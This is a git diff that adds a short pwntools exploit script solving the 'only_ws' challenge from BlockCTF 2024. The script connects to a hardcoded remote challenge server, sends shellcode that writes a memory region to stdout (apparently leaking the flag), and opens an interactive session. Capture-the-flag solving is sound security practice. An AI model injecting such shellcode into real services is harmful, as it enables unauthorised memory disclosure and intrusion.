diff --git a/blockctf_2024/only_ws/a.py b/blockctf_2024/only_ws/a.py
new file mode 100644
index 0000000..4727dd6
--- /dev/null
+++ b/blockctf_2024/only_ws/a.py
@@ -0,0 +1,24 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+context.binary = target = ELF("./only_ws", checksec=False)
+# r = process()
+r = remote("54.85.45.101", 8005)
+
+# funcs
+s = lambda a: r.sendline(a)
+
+# shellcode
+sc = """
+mov rax, 1
+mov rdi, 1
+mov rsi, 0x4040a0
+xor rdx, rdx
+add dl, 0xff
+syscall
+"""
+sc = asm(sc)
+s(sc)
+
+r.interactive()
\ No newline at end of file